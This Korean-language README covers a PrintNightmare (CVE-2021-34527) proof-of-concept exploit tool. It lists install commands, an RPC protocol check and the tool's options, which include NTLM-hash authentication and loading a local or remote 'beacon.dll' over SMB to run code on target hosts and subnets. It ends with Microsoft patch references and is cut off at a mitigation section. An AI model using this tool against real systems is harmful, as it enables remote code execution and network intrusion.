
PrintNightmare (CVE-2021-34527) PoC 익스플로잇
이 PrintNightmare 익스플로잇 버전은 Cube0x0이 만든 코드를 기반으로 하며, 다음 기능을 제공합니다:
MS-RPRN 및 MS-PAR 프로토콜이 모두 포함되어 있습니다 (CMD 인자에서 정의).실행 전에 최신 버전의 impacket을 설치하세요:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
Impacket의 rpcdump.py를 사용하여 MS-PAR 및 MS-RPRN 프로토콜을 확인할 수 있습니다:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
또는 byt3bl33d3r의 스캐너 ItWasAllADream을 사용하여 대상을 스캔하고 PrintNightmare RCE 취약점을 검증할 수 있습니다.

-v VERBOSE Enable verbose logging from SMB server
-t TIMEOUT Connection timeout
Authentication:
-u USERNAME Set username
-H HASH, -hashes Use NTLM Hash for authentication
-p PASSWORD Set password
-d DOMAIN Set domain
--local-auth Authenticate to target host, no domain
DLL Execution:
-dll DLL Path to local DLL file to execute "beacon.dll"
--remote-dll REMOTE_DLL Remote dll "\\192.168.1.25\Share\beacon.dll"
-share SHARE Set local SMB share name
--local-ip LOCAL_IP Set local IP (defaults to primary interface)
Target(s):
-pDriverPath PDRIVERPATH Define Driver path. Example 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] Destination port to connect to SMB Server
-proto {MS-RPRN,MS-PAR} Target protocol (Default=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24 (positional)
Microsoft는 PrintNightmare에 대한 여러 패치를 출시했으며, 가장 최근 패치는 2021년 9월 Patch Tuesday에 공개되었습니다. 이 패치는 근본적인 취약점과 이후 발견된 해결 방법을 해결했습니다. 자세한 내용은 Microsoft 공식 지침을 참조하세요:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
이 취약점을 완화하기 위한 추가 전략은 다음과 같습니다: